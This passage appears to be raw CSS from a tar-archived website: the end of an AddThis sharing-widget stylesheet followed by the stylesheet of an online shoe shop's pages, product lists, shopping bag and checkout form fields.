-4688px;}.at15t_symbaloo{background-position:0 -4704px;}.at15t_taaza{background-position:0 -4720px;}.at15t_tagmarksde{background-position:0 -4736px;}.at15t_tagvn{background-position:0 -4752px;}.at15t_tagza{background-position:0 -4768px;}.at15t_tailrank{background-position:0 -4784px;}.at15t_tarpipe{background-position:0 -4800px;}.at15t_technerd{background-position:0 -4816px;}.at15t_teknikim{background-position:0 -4832px;}.at15t_tellmypolitician{background-position:0 -4848px;}.at15t_thefreedictionary{background-position:0 -4864px;}.at15t_thewebblend{background-position:0 -4880px;}.at15t_thinkfinity{background-position:0 -4896px;}.at15t_thisnext{background-position:0 -4912px;}.at15t_throwpile{background-position:0 -4928px;}.at15t_tipd{background-position:0 -4944px;}.at15t_topsitelernet{background-position:0 -4960px;}.at15t_transferr{background-position:0 -4976px;}.at15t_tuenti{background-position:0 -4992px;}.at15t_tulinq{background-position:0 -5008px;}.at15t_tumblr{background-position:0 -5024px;}.at15t_tusul{background-position:0 -5040px;}.at15t_tvinx{background-position:0 -5056px;}.at15t_tweetmeme{background-position:0 -5072px;}.at15t_twitter{background-position:0 -5088px;}.at15t_twitthis{background-position:0 -5104px;}.at15t_typepad{background-position:0 -5120px;}.at15t_upnews{background-position:0 -5136px;}.at15t_urlaubswerkde{background-position:0 -5152px;}.at15t_urlcapt{background-position:0 -5168px;}.at15t_viadeo{background-position:0 -5184px;}.at15t_virb{background-position:0 -5200px;}.at15t_visitezmonsite{background-position:0 -5216px;}.at15t_vk{background-position:0 -5232px;}.at15t_vkrugudruzei{background-position:0 -5248px;}.at15t_voxopolis{background-position:0 -5264px;}.at15t_vybralisme{background-position:0 -5280px;}.at15t_vyoom{background-position:0 -5296px;}.at15t_w3validator{background-position:0 -5312px;}.at15t_webnews{background-position:0 -5328px;}.at15t_webs{background-position:0 -5344px;}.at15t_windows{background-position:0 -5360px;}.at15t_windycitizen{background-position:0 -5376px;}.at15t_wirefan{background-position:0 -5392px;}.at15t_wordpress{background-position:0 -5408px;}.at15t_worio{background-position:0 -5424px;}.at15t_woscc{background-position:0 -5440px;}.at15t_wykop{background-position:0 -5456px;}.at15t_xanga{background-position:0 -5472px;}.at15t_xing{background-position:0 -5488px;}.at15t_yahoobkm{background-position:0 -5504px;}.at15t_yahoomail{background-position:0 -5520px;}.at15t_yammer{background-position:0 -5536px;}.at15t_yardbarker{background-position:0 -5552px;}.at15t_yemle{background-position:0 -5568px;}.at15t_yigg{background-position:0 -5584px;}.at15t_yiid{background-position:0 -5600px;}.at15t_yoolink{background-position:0 -5616px;}.at15t_yorumcuyum{background-position:0 -5632px;}.at15t_youblr{background-position:0 -5648px;}.at15t_youbookmarks{background-position:0 -5664px;}.at15t_youmob{background-position:0 -5680px;}.at15t_youtube{background-position:0 -5696px;}.at15t_yuuby{background-position:0 -5712px;}.at15t_zakladoknet{background-position:0 -5728px;}.at15t_zanatic{background-position:0 -5744px;}.at15t_ziczac{background-position:0 -5760px;}.at15t_zingme{background-position:0 -5776px;}.at15t_zooloo{background-position:0 -5792px;}.at15t_zootool{background-position:0 -5808px;}.at15t_compact{background-position:0 -3344px;}.at15t_expanded{background-position:0 -3344px;}.addthis_default_style .at15t_expanded,.addthis_default_style .at15t_compact{margin-right:4px;}#at16clb{font-size:16pt;font-family:"verdana bold",verdana,arial,sans-serif;}#at_share .at_item{width:123px!important;padding:4px;margin-right:2px;border:1px solid #fff;}#at16pm{background:#fff;width:298px;height:380px;text-align:left;border-right:1px solid #ccc;position:static;}#at16pcc{position:fixed;top:0;left:0;width:100%;margin:0 auto;font-size:10px!important;color:#4c4c4c;padding:0;z-index:10000001;overflow:visible;}* html #at16pcc{position:absolute;}#at16abifc{overflow:hidden;margin:0;top:10px;left:10px;height:355px;width:492px;position:absolute;border:0;}#at16abifc iframe{border:0;position:absolute;height:380px;width:516px;top:-10px;left:-10px;}* html div#at16abifc.atiemode2{height:374px;width:482px;}* html #at16abifc iframe{height:368px;left:-10px;top:-10px;overflow:hidden;}#at16p{background:url(//s7.addthis.com/static/t00/atbkg.png);z-index:10000001;}#at16p,#atie6ifh,#atie6cmifh{position:absolute;top:50%;left:50%;width:300px;padding:10px;margin:0 auto;margin-top:-185px;margin-left:-155px;font-family:arial,helvetica,tahoma,verdana,sans-serif;font-size:12px;color:#5e5e5e;}#atie6ifh{width:322px;padding:0;height:381px;margin-left:-165px;z-index:100001;}#atie6cmifh{width:240px;padding:0;height:225px;margin:0;z-index:100001;}#at_share{margin:0;padding:0;}#at16ps{overflow-y:scroll;height:304px;padding:5px;}a#at16pit{position:absolute;top:37px;right:10px;display:block;background:url(//s7.addthis.com/static/t00/tab00.gif) no-repeat;width:16px;height:20px;line-height:19px;margin-right:-17px;text-align:center;overflow:hidden;color:#36b;}#at16pi{background:#e5e5e5;text-align:left;border:1px solid #ccc;border-bottom:0;}#at16pi a{text-decoration:none;color:#36b;}#at16p #at16abc{margin-left:2px!important;}#at16pi a:hover{text-decoration:underline;}#at16pt{position:relative;background:#f2f2f2;height:13px;padding:5px 10px;}#at16pt h4,#at16pt a{font-weight:bold;}#at16pt h4{display:inline;margin:0;padding:0;font-size:12px;color:#4c4c4c;cursor:default;}#at16pt a{position:absolute;top:5px;right:10px;color:#4c4c4c;text-decoration:none;}#at16pc form{margin:0;}#at16pc form label{display:block;font-size:11px;font-weight:bold;padding-bottom:4px;float:none;text-align:left;}#at16pc form label span{font-weight:normal;color:#4c4c4c;display:inline;}#at_email form .abif{width:272px!important;}#at_email textarea{height:55px!important;word-wrap:break-word;}* html #at_email textarea{height:42px!important;}*:first-child+html #at_email textarea{height:42px!important;}#at_email label{width:220px;}#at_email input,#at_email textarea{background:#fff;border:1px solid #bbb;width:272px!important;margin:0;margin-bottom:8px;font-weight:normal;padding:3px;font-family:arial,helvetica,tahoma,verdana,sans-serif;font-size:11px;line-height:1.4em;color:#333;}#at_email form .atfxmode2{width:279px!important;}#at16pc form .at_ent{color:#333!important;}#at16pc textarea{height:48px;}#at16pc form input:focus,#at16pc textarea:focus{background:#fffff0;color:#333;}#at16p .atbtn,#at16recap .atbtn{background:#fff;border:1px solid #b5b5b5;width:60px!important;padding:2px 4px;margin:0;margin-right:2px!important;font-size:11px!important;font-weight:bold;color:#333;cursor:pointer;}#at16p .atbtn:hover,#at16recap .atbtn:hover{border-color:#444;color:#06c;}#at16p .atrse,#at16recap .atrse{font-weight:normal!important;color:#666;margin-left:2px!important;}#atsb .atbtn{width:78px!important;margin:0!important;}#at_email #ateml{text-align:right;font-size:10px;color:#999;}#at16pc{height:343px;font-size:11px;text-align:left;color:#4c4c4c;}#at_email{padding:5px 10px;}#at16pc .tmsg{padding:4px 2px;text-align:right;}#at16psf{position:relative;background:#f2f2f2 url(//s7.addthis.com/static/t00/atf02.gif) no-repeat center center;border-bottom:1px solid #ccc;height:20px;padding:4px 10px;text-align:center;}* html #at16psf input,*:first-child+html #at16psf input{padding:0;}#at16psf input,#at16psf input:focus{background:#fff;border:none;width:220px;margin:2px 0 0;color:#666;outline-style:none;outline-width:0;padding:2px 0 0;line-height:12px;font-family:arial,helvetica,tahoma,verdana,sans-serif;font-size:12px;}#at16pcc .at_error,#at16recap .at_error{background:#f26d7d;border-bottom:1px solid #df5666;padding:5px 10px;color:#fff;}#at16pcc #at_success{background:#d0fbda;border-bottom:1px solid #a8e7b7;padding:5px 10px;color:#4c4c4c;}#at16pf{position:relative;background:#f2f2f2;height:12px;border-top:1px solid #e5e5e5;}#at16pf a{position:absolute;outline:none;padding:0;margin:0;overflow:hidden;font-size:10px;color:#4c4c4c;font-family:Arial,Helvetica,Sans-Serif;text-decoration:none;}#at16pf a:hover{text-decoration:underline;}#at15pf a.at-settings,#at16pf a.at-settings{left:8px;width:65px;}#at16pf a#at-privacy,#at16pf a.at-privacy,#at16pf a.at-privacy-close{width:39px;left:140px;}#at16pf a.at-privacy-close{left:75px;}#at16pf a.at-privacy-superclose{left:55px;}#at16pf a.at-privacy-flush{left:10px;}#at_complete{font-size:13pt;color:#47731d;text-align:center;padding-top:130px;height:208px!important;width:472px;}#at_s_msg{margin-bottom:10px;}#at16pf a#at-logo{background:url(//s7.addthis.com/static/t00/logo88.gif) no-repeat left;padding-left:10px;right:10px;}.at_baa{display:block;overflow:hidden;outline:none;}#at15s #at16pf a{top:1px;}#at16pc form #at_send{width:80px!important;}#at_feed{display:none;padding:10px;height:300px;}#at_feed span{margin-bottom:10px;font-size:12px;}#at_feed div{width:102px!important;height:26px!important;line-height:26px!important;float:left!important;margin-right:68px;}#at_feed div.at_litem{margin-right:0;}#at_feed a{margin:10px 0;height:17px;line-height:17px;}#at_feed.atused .fbtn{background:url(//s7.addthis.com/static/r05/feed00.gif) no-repeat;float:left;width:102px;cursor:pointer;text-indent:-9000px;}#at_feed .fbtn.bloglines{background-position:0 0!important;width:94px;height:20px!important;line-height:20px!important;margin-top:8px!important;}#at_feed .fbtn.yahoo{background-position:0 -20px!important;}#at_feed .fbtn.newsgator,.fbtn.newsgator-on{background-position:0 -37px!important;}#at_feed .fbtn.technorati{background-position:0 -71px!important;}#at_feed .fbtn.netvibes{background-position:0 -88px!important;}#at_feed .fbtn.pageflakes{background-position:0 -141px!important;}#at_feed .fbtn.feedreader{background-position:0 -172px!important;}#at_feed .fbtn.newsisfree{background-position:0 -207px!important;}#at_feed .fbtn.google{background-position:0 -54px!important;width:104px;}#at_feed .fbtn.winlive{background-position:0 -105px!important;width:100px;height:19px!important;line-height:19px;margin-top:9px!important;}#at_feed .fbtn.mymsn{background-position:0 -158px!important;width:71px;height:14px!important;line-height:14px!important;margin-top:12px!important;}#at_feed .fbtn.aol{background-position:0 -189px!important;width:92px;height:18px!important;line-height:18px!important;}#at16pp{color:#4c4c4c;position:absolute;top:12px;right:12px;font-size:11px;}#at16pp label{font-size:11px!important;}#at16ppc{padding:10px;width:179px;}#at16pph{padding:5px 0 10px 0;}#at16pph select{margin:5px 0 8px 0;}#at16pp .atinp{width:156px;}html>/**/body #at16pp .atinp{width:176px;}#at16ppb{background:#fff;border:1px solid #ccc;height:274px;}#at16ep{height:16px;padding:8px;}#at16ep a{display:block;height:16px;line-height:16px;padding-left:22px;margin-bottom:8px;font-size:12px;}#at16ep a.at_gmail{background:url(//s7.addthis.com/static/t00/gmail.gif) no-repeat left;}#at16ep a.at_hotmail{background:url(//s7.addthis.com/static/t00/hotmail.gif) no-repeat left;}#at16ep a.at_yahoo{background:url(//s7.addthis.com/static/t00/yahoo.gif) no-repeat left;}#at16ppf p#atsb{padding-top:20px;font-size:10px;}#at16abr{margin-top:10px;}#at16abr input{padding:0;margin:0;margin-right:5px;}#at16ppso{display:none;text-align:right;margin-top:2px;}#at16ppa{background:#fff;border:1px solid #ccc;height:228px;width:178px;overflow:auto;}#at16ppa a{display:block;white-space:nowrap;padding:4px 8px;font-size:12px!important;}#at16eatdr{position:absolute;background:#fff;border-top:0;max-height:110px;overflow:auto;z-index:500;top:129px;left:21px;width:277px;}* html #at_email #at16eatdr{top:115px!important;width:272px!important;}*:first-child+html #at_email #at16eatdr{top:115px!important;width:272px!important;}html>/**/body #at_email form #at16eatdr.abif{top:137px;width:278px!important;}#at16eatdr a{display:block;overflow:hidden;border-bottom:1px dotted #eee;padding:4px 8px;}#at16eatdr a:hover,#at16eatdr a.hover{background:#e0eefa;text-decoration:none;color:#333;}#at_pspromo{height:130px;padding-top:10px;}#at_pspromo,#at15psp{width:205px;padding-left:5px;}#at_testpromo{font-size:12px;width:220px;display:none;}.atm-i #at_pspromo{height:150px;}.atm-i #at_testpromo,.atm-i #at_pspromo{width:140px;}#at_testpromo input{width:200px;}#at_promo .at-promo-content,#at_testpromo .at-promo-content{margin-top:12px;}#at_promo .at-promo-btn,#at_testpromo .at-promo-btn{padding-top:10px;}#at_promo h4,#at_testpromo h4{font-family:arial,helvetica,tahoma,verdana,sans-serif;background:0;font-size:14px;font-weight:bold;margin:0 0 4px;padding:0;}#at_testpromo h4{font-size:13.5px;}#at_promo h4 sup{font-size:11px;color:#ee6a44;}#at_promo span{display:block;}#at_testpromo .at-promo-btm-ffx,#at_promo .at-promo-btm-ffx{background:url(//s7.addthis.com/images/60x60_at_firefox_toolbar.jpg) no-repeat 0 0;padding:6px 0 0 70px;}#at_promo .at-promo-btm-ch{padding:6px 0 0 64px;}#at_promo .at-promo-btm-ie{padding:6px 0 0 64px;}#_atssh{width:1px!important;height:1px!important;border:0!important;}.at-promo-single{padding:10px;padding-top:2px;line-height:1.5em;}.at-promo-single img{padding:3px;}@media print{#at20mc{display:none;}}#at20mc.ipad #at15s{background-color:#fff!important;background-image:none!important;border:1px solid #b7b7b7;width:244px!important;padding:6px!important;-moz-border-radius:12px;-webkit-border-radius:12px;-moz-box-shadow:0 0 10px #000;-webkit-box-shadow:0 0 10px #000;}html>body #at20mc.ipad #at15s{width:244px!important;}#at20mc.ipad #at15s .at_item{padding:10px 15px!important;line-height:32px!important;}#at20mc.ipad #at15pfpro,#at20mc.ipad #at15s_head{display:none!important;}#at20mc.ipad #at_hover{padding:0 0 4px 0;}#at20mc.ipad #at_hover .at_item{width:210px!important;font-size:18px;border-bottom:1px solid #e0e0e0;margin-bottom:0;}#at20mc.ipad #at_hover .at_item:hover{background:#424242!important;color:#fff!important;}#at20mc.ipad #at_hover .at15t{background-color:transparent!important;height:32px!important;width:200px!important;line-height:32px!important;padding-left:42px!important;padding-top:0!important;}#at20mc.ipad #at16pf{background:#fff!important;border-top:none;line-height:12px;}.addthis_textshare{display:block;background:url(//s7.addthis.com/static/t00/atsh00.png) no-repeat 0 0;width:44px;height:37px;line-height:28px;padding:0 0 0 28px;margin:0;text-decoration:none;font-family:helvetica,arial,sans-serif;font-size:12px;color:#fff;cursor:pointer;}.addthis_textshare:hover{background-position:0 -37px;text-decoration:none;}.at_img_share{position:absolute;opacity:0;background:url(//s7.addthis.com/static/t00/glogo2321.gif) repeat-x bottom;border:1px solid #ccc;width:23px;height:21px;line-height:21px;text-indent:-9999px;padding:0;margin:0;cursor:pointer;z-index:1000;}.at_img_share:hover{border-color:#8b8b8b;}.at_img_share .addthis_toolbox{width:180px;margin:0 auto;}.atm{width:160px!important;padding:0;margin:0;line-height:12px;letter-spacing:normal;font-family:arial,helvetica,tahoma,verdana,sans-serif;font-size:12px;color:#444;background:url(//s7.addthis.com/static/t00/atbkg.png);padding:4px;}.atm-i{background:#fff;border:1px solid #d5d6d6;padding:4px 0 0;margin:0;border-radius:4px;box-shadow:1px 1px 5px #ccc;-moz-box-shadow:1px 1px 5px #ccc;-moz-border-radius:4px;-webkit-box-shadow:1px 1px 5px #ccc;-webkit-border-radius:4px;}.atm-s{margin:0!important;padding:0!important;}.atm-s a,#at_hover.atm-s a{display:block;text-decoration:none;padding:4px 10px;color:#235dab!important;}#at_hover.atm-s .at_bold{color:#235dab!important;}.atm-s a:hover,#at_hover.atm-s a:hover{background:#3879d9;text-decoration:none;color:#fff!important;}#at_hover.atm-s .at_bold{font-weight:bold;}#at_hover.atm-s a:hover .at_bold{color:#fff!important;}.atm-s a span{padding-left:20px;}.atm-i #at16pf.atm-f-iemode2{height:24px!important;}.atm-f{position:relative;border:none!important;border-top:1px solid #d5d6d6!important;background:none!important;padding:5px 10px;font-size:9px;top:4px;}.atm-f a{margin-right:4px;text-decoration:none!important;color:#939292!important;top:4px!important;}.atm-f a:hover{color:#4f4f4f!important;}.atm-f .atm-f-logo{position:absolute;top:5px;right:6px;background:url("//s7.addthis.com/static/t00/logo88.gif") no-repeat left;padding-left:10px;} cheapuggsales.uk.com/cart_new/css/newsletter1.css0000777000000000000000000003666611634073324021176 0ustar rootroot@charset "utf-8"; /*! * Site: * Author: * Created: * Updated: * Updated by: ----------------------------------------------------------- reset-base-wrapper-section(all public/page public/page)-hack ----------------------------------------------------------- */ /* reset*/ html { -webkit-text-size-adjust:none; } body, div, dl, dt, dd, ul, ol, li, h1, h2, h3, h4, h5, h6, form, input, button, textarea, p, th, td { margin:0; padding:0; } table { border-collapse:collapse; border:0; } img { border:0; } li { list-style:none; } h1, h2, h3, h4, h5, h6 { font-size:100%; font-weight:normal; } input { border:0; font-size:100%; } strong { font-weight:bold; } /* base */ body { font:11px/1.6em Arial, Helvetica, sans-serif; background:#000 top center no-repeat; } h1,h2,h3,h4,h5{ font-weight:bold;} h1{ font-size:15px;} a,a:hover{ color:#111; text-decoration:none;} .hide { display:none; } .fll { float:left; } .flr { float:right; } .fix { clear:both; zoom:1; } .fix:after,section:after,.pr-list ul:after,.a-list li:after,.formArea li:after { display:block; clear:both; visibility:hidden; height:0; content:""; overflow:hidden; } .mt10 { margin-top:10px; } /* wrapper */ #wrapper{ width:100%;} #header{ width:100%; height:125px; text-transform:uppercase;} .iheader{ position:relative; width:960px; margin:0 auto;} #container{ width:100%; height:100%; background-color:#575759;} .icontainer{ width: 960px; margin:0 auto; padding:0 10px; background:url(../images/containerbg.gif) repeat-y;} #main{ float:right; width:816px; padding:1px 2px; background-color:#6f6f6f;} #aside{ float:left; width:140px;} #footer{ width:100%; height:133px; color:#9a9a9a;} .ifooter{ width:960px; margin:0 auto; padding:10px 0 0;} /* all public */ /* position */ .logo,.banner01,.q-menu,.cur,.search,.nav,.chat-bag,.input-newsletter,.btn-newsletter,.pr-list .sale,.pr-list .new{ position:absolute;} /* font */ .q-menu,.input-search,.chat-bag{ font-size:10px;} /* all the background images */ .btn-search,.btn-newsletter,.star,.allbtn,.btn-btb,.btn-view,.btn-submit,.btn-add,.btn-apply,.btn-modify,.btn-pay{ background:url(../images/theme.png) no-repeat;} /* header */ .logo{ top:0; left:0;} .banner01{ top:12px; left:200px;} .q-menu{top:14px; width:600px; font-size:10px; text-align:right;} .q-menu a{ color:#fff;} .q-menu a:hover{ color:#9a9a9a;} .cur{ top:14px; right:230px;} .gbp,.usd,.eur{ display:inline-block; width:22px; height:16px; margin:0 7px 0 0; } .gbp{ background-position: 0 0;} .usd{ background-position: 0 -26px;} .eur{ background-position:0 -52px;} .search{ top:10px; right:0;} .input-search{ float: left; width:187px; height:21px; border:none; background-color:#fff; color:#686868; } .btn-search{ float:left; width:28px; height:25px; border:none; background-position:0 0;} .nav{ top:75px; left:0; height:40px;} .nav li{ float:left; width:auto; height:40px; font:bold 11px/40px Arial, Helvetica, sans-serif;} .nav a,.nav a:hover{ display:block; padding:0 8px; color:#fff; } .nav a:hover,.chat-bag{ background-position: 0 -250px; background-repeat:repeat-x;} .chat-bag{ top:75px; right:0; height:14px; padding:13px 0;} .chat-bag span{ margin:0 10px;} .chat-bag span,.chat-bag a{ color:#fff;} .i-chat{ padding:0 10px 0 20px; border-right:1px solid #454545;} .i-bag{ padding:0 0 0 20px;} .i-chat{ background-position: left -78px;} .i-bag{ background-position: left -102px;} /* footer */ .c-newsletter{} .c-newsletter li{float:left; width:auto; margin:0 5px 0 0; padding:9px 5px 9px 0; border-right:1px solid #414141; } .c-newsletter li.newsletter{position:relative; width:567px; margin:0; padding:9px 0; border-right:none;} .c-newsletter li strong{ color:#fff; text-transform:uppercase;} .c-newsletter li span{ margin:0 10px 0 0;} .c-newsletter li #newsletter_form{ display:inline; } .input-newsletter{ top:10px; right:28px; width:144px; height:21px; border:none; background-color:#444; color:#bfbfbf; } .input-search,.input-newsletter{ padding:2px 0 0 5px; font:11px/21px Arial, Helvetica, sans-serif;} .btn-newsletter{top:10px; right:0; width:28px; height:25px; border:none; background-position:-38px 0;} .b-menu,.k-word{ display: inline; float:left; width:auto; height:60px; overflow:hidden; } .b-menu{ width: 650px; padding:10px 20px 10px 0; border-right:1px solid #414141;} .k-word{ width:268px; padding:10px 0 10px 10px; } .k-word a{color:#eee} .b-menu a,.b-menu a:hover{ margin:0 7px 0 0; color:#9a9a9a; font-size:10px; text-transform:uppercase;} /* page public */ /* aside */ .s-menu{ padding:20px 0 0 10px; text-transform:uppercase;} .s-menu h1{ padding:0 0 6px; color:#fff;} .s-menu li{ padding:3px 0;} .s-menu li a{ padding:0 0 0 8px; color:#bfbfbf; font-size:10px;} .s-menu li a:hover{ background-position: left -136px; color:#fff;} /* crumb */ .crumb{ padding:10px 0; font-size:10px; text-transform:uppercase;} .crumb,.crumb a{color:#fff; } .crumb a:hover{ text-decoration:underline;} /* product*/ /* pagation */ .p-bar{ float:right; width:auto; font-size:10px; line-height:28px; } .p-bar,.p-bar a{ color:#bfbfbf;} .p-bar a:hover,.p-bar .current{ color:#fff;} .p-bar a.prev,.p-bar a.next{margin:0 5px;} .prev{ background-position: left -121px;} .next{ background-position: right -496px;} /* product list */ .pr-list{ overflow:hidden;} .pr-list li{ position:relative; float:left; width: auto; margin:10px 0 0; color:#000;} .pr-list .pic{ position:relative;} .pr-list p{ height:54px; line-height:14px; overflow:hidden;} .pr-list .retail,.pr-list .was{ font-size:10px; color:#4c4c4c; } .pr-list .now,.pr-list .our{ font-size:13px;} .pr-list .sale,.pr-list .new{ top:0; right:6px; width:23px; height:66px;} .list01 li,.list03 li{ width:200px; } .list01 li{margin:0 4px;} .list01 .pic,.list03 .pic{ width:200; height:200px; } .list01 .pic{margin:0 0 12px;} .list01 .now{ color:#fff;} .list02 li,.list04 li{ width:120px;} .list02 li{ margin:13px 13px 0;} .list04 li{ width:120px; padding:10px 10px 0 0;} .list02 .pic,.list04 .pic{ width:120px; height:120px;} .list02 .now,.list04 .now{ display:block; background-color:#9d9d9d; line-height:25px; text-align:center;} .list03 li{ padding:10px 2px;} .list03 .detail{ height:106px; padding:10px; background-color:#d8d8d8;} .list05 li{ width:105px; margin:17px 8px 0; background-color:#9d9d9d;} .list05 div{ float:left;} .list05 .pic{ width: 60px; height:60px;} .list05 .now{ padding:12px 5px; width:35px; font-size:11px;} /* remind */ .remind { margin:8px 0; background-color:#fff; border:1px solid #cc0000; padding:15px; line-height:18px; text-align:center; color:#cc0000; } /* form */ .formArea ul { position:relative; width:100%; margin:10px 0 0; padding:0 0 20px; } .formArea li { position:relative; width:100%; padding:5px 0; } .formArea label { float:left; width:220px; margin-right:5px; text-align:right; cursor:pointer; } .formArea span { color:#FF0000; } .formArea a { color:#c00; text-decoration:underline; } .allInput, #cc_num, #cc_cvv, #cc_issue { float:left; width:230px; height:20px; padding:3px 5px; border:1px solid #000; } .allInput.error,#cc_num.error, #cc_cvv.error, #cc_issue.error, .allTextarea.error { border:1px solid #FF0000; } .allTextarea { float:left; overflow:auto; width:230px; height:60px; padding:3px; border:1px solid #000; } .allSelect { float:left; width:240px; height:20px; border:1px solid #000; } #billing_country { width:220px; } #cc_type, #cc_valid_month, #cc_valid_year, #cc_exp_month, #cc_exp_year { float:left; width:115px; height:20px; margin-right:10px; border:1px solid #6f6f6f; } .errorInfo { margin:0 0 0 5px; color:red; font-size:11px; } .errorInfo label { width:220px; padding-left:5px; text-align:left; } .errorInfo .error { border:none; } /* buton / a-button */ .allbtn { cursor:pointer; display:block; color:#fff; font: bold 12px Arial, Helvetica, sans-serif; text-transform:uppercase; text-align:center; } .btn-add{ width: 191px; height:30px; background-position:0 -34px; line-height:29px; text-indent:20px;} .btn-dec,.btn-inc,.btn-del,.btn-shop,.btn-modify,.btn-pay, .btn-view{ display:block; margin:0 auto; text-align:center;} .btn-submit,.btn-apply,.btn-modify,.btn-pay,.btn-btb,.btn-view{ height:24px; color:#fff; font-weight:bold; line-height:24px; text-transform:uppercase; } .btn-submit,.btn-apply,.btn-modify,.btn-pay{ width:66px; background-position:-193px 0;} .btn-btb,.btn-view{ width:106px; background-position:-76px 0; } .btn-dec,.btn-inc { float:left; width:15px; height:10px; margin-top:4px; overflow:hidden; } .btn-dec { background-position:-3px -6px; } .btn-inc { background-position:0 -26px; } .btn-del{ width:15px; height:18px; margin-top:3px; background-position:0 -46px; text-indent:-10000px; } .btn-apply { margin:0 0 0 6px; } .btn-chk, .btn-shop { height:30px; line-height:30px; text-indent:30px; } .btn-shop { width:191px; background-position:-153px 0; } .btn-chk { width:217px; background-position:-153px -52px;} /* star */ .star { display:inline-block; width:74px; height:15px;} .star00 { background-position:0 -75px; } .star01 { background-position:0 -90px; } .star02 { background-position:0 -105px; } .star03 { background-position:0 -120px; } .star04 { background-position:0 -135px; } .star05 { background-position:0 -150px; } /* page */ /* index */ #index-container{ width:100%; height:100%; background:#575759 top center no-repeat;} .index-icontainer{ width:960px; height:660px; margin:0 auto; }.banner{ width:490px;} .i-list{ width:470px; height:640px;} .i-list h1{ color:#4c4c4c; font-size:15px; line-height:28px; text-align:center; text-transform:uppercase;} .t-sellers{ padding:10px 31px 22px 18px;} .t-list{ float:left; width:208px;} .t-category{ float:right; width:182px;} .t-category li{ float:left; width:90px; margin:0 1px 1px 0; overflow:hidden;} .t-category a{ position:relative; float:left; width:90px; height:80px; overflow:hidden;} .t-category a:hover{ background-color:#fff;} .t-category a b{ display:none;} .t-category a:hover b{ display:block; position: absolute; top:0; left:0; width:90px; height:80px; background-color:#303030; filter:alpha(opacity=65); opacity:0.65; } .banner02{ padding:0 0 10px 11px;} .n-arrivals{ padding:0 13px;} /* category */ .category{ background-color:#323232; margin:0 2px; padding:0 12px;} .category h1{ height:28px; color:#fff; text-transform:uppercase;} .topics{} .topics li{ float:left; width:auto; margin:10px 0 0 40px;} /* detail */ /*detail public*/ .pr-detail,.review{ padding:10px;} .instock,.outofstock,.write,.wishlist{ padding:0 0 0 20px;} .product h2{ font-size:13px;} /*product*/ .product{ padding:10px;} .prev-next a{ padding:0 14px; color:#bfbfbf;} .prev-next a:hover{ color:#fff;} .pr-img{ width:393px; background-color:#fff;} .pr-detail{ width:527px; padding:10px; background-color:#d8d8d8;} .pr-small { width:62px; height:300px; padding:0 5px; } .pr-big { width:300px; height:300px; } .pr-small a,.pr-small img{ display:block;} .pr-small a { margin:5px 0; border:1px solid #d8d8d8; } .pr-small a:hover, .pr-small .on { border:1px solid #4c4c4c; } .pr-big { width:300px; height:300px; border-left:1px solid #d8d8d8;} .pr-detail h1,.pr-detail .price{ margin: 0 0 8px;} .pr-detail .price div{ float:left;} .pr-detail .now,.pr-detail .our{ font-weight:bold; font-size:15px;} .pr-detail .retail{ padding:0 0 0 20px; font-size:10px; color:#4c4c4c;} .des,.charge{ float:left; width:auto; padding:10px; background-color:#fff;} .des{ width:216px; height:174px; overflow:hidden; color:#4c4c4c;} .des p{ margin:5px 0 0; padding:5px 0 0; border-top:1px solid #d8d8d8;} .charge{ width:263px;} .charge,.actions{ margin:0 0 8px 8px;} .charge div,.actions div{ padding:6px 0 0;} .instock{ background-position: left -156px;} .outofstock{ background-position: left -180px;} .write{ margin:0 0 0 20px; background-position:left -204px;} .wishlist{ background-position: left -228px; font-style:italic; text-decoration:underline;} /* review */ .review{ background-color:#d8d8d8;} .r-con{ padding:10px; background-color:#fff;} .r-con dd{ padding:10px 0; border-bottom:1px solid #d8d8d8;} /* like recently */ .like,.recent{ background-color:#5c5c5c;} .like-recent h2{ color:#fff;} .like{ width:650px; padding:10px 0 10px 10px; } .recent{ width:250px; padding:10px;} /* bag-login */ .step { width:940px; height:30px; margin:10px auto 0; color:#636363; overflow:hidden;} .s01 { background-position:0 0; } .s02 { background-position:0 -30px; } .s03 { background-position:0 -60px; } .step li { float:left; width:313px; height:30px; font-size:13px; line-height:30px; text-transform:uppercase; text-indent:20px; } .step em { padding-right:4px; font-size:30px; font-style:normal; line-height:30px; } .bag,.login{ width:940px; margin:0 auto;} .bag,.login,.user,.help,.bag a,.login a,.help a{ color:#ccc;} .login a,.help a{ text-decoration:underline;} .bag h1,.login h1,.user h1,.help h1{ margin:10px 0; font-size:14px;line-height:26px; text-indent:10px; color:#fff;} .bag h4 ,.user h4{ font-weight:bold; font-size:12px; } /*bag model*/ .b-model { width:100%; border:1px solid #6f6f6f; } .b-model caption,.bag h3 {font-size:13px; font-weight:bold; line-height:30px; text-align:left; color:#fff; } .b-model th { height:30px; line-height:30px; border-right:1px solid #4c4c4c; background:#d8d8d8; color:#111; } .b-model .last { border-right:none; } .b-model td { border-top:1px dotted #6f6f6f; text-align:center; } .b-model strong { font-size:14px; color:#fff; } .b-item { width:250px; padding:15px 10px; text-align:left; } .b-item .pic { width:60px; } .b-item .detail{ width:180px; line-height:16px; } .b-item .detail .name{ height:33px; overflow:hidden;} .b-option { width:70px; padding-left:10px; } .b-promo,.b-address{} .b-promo div,.b-address div{ width:47%; height:80px; padding:10px; border:1px solid #6f6f6f; } .ship_cost_tip,.cc_cvv_tip{ cursor:pointer; display:inline-block; position:relative; left:5px; z-index:10; width:20px; height:26px;} .ship_cost_tip{ top:10px; } .ship_cost_tip_con,.cc_cvv_tip_con { display:none; position:absolute; } .ship_cost_tip_con { bottom:50px; right:0; width:554px; height:160px; z-index:1000; } .b-pay { padding:15px 0; } .b-option { width:70px; padding-left:10px; } .b-num { width:30px; height:18px; line-height:18px; border:1px solid #d1d1d1; background:#f0f0f0; text-align:center; } .b-pay, .uw-orderAdd { border:1px solid #6f6f6f; padding:10px; } .b-pay p { padding:6px 0; text-align:right; } .cc_cvv_tip {} .cc_cvv_tip_con {top:-5px; left:20px; } /* extra page */ .message { width:567px; height:175px; padding:50px 0 0 248px; color:#fff;} .message span{ font:20px "Trebuchet MS", Arial, Helvetica, sans-serif;} .message a { text-decoration:underline; } .s-search { position:relative; width:336px; height:28px;} .s-keyword a{ padding:0 10px 0 0; color:#000; text-decoration:underline;} .n-search{ position:relative; top:-60px; left:20px;} /* user*/ .user,.help{ background-color:#4c4c4c;} .user h3{ padding:0 10px;} .a-list{ padding:0 20px;} .a-list li { clear:both; border-bottom:1px dashed #c1c1c1; padding:10px 0; zoom:1; } .a-option{ width:90px;} /*help */ .help h2,.help h3{ padding:10px 10px 8px; font-weight:bold; color:#fff;} .help h2{font-size:12px; } .help p{ padding:0 10px 6px;} /* hack */ .search{ 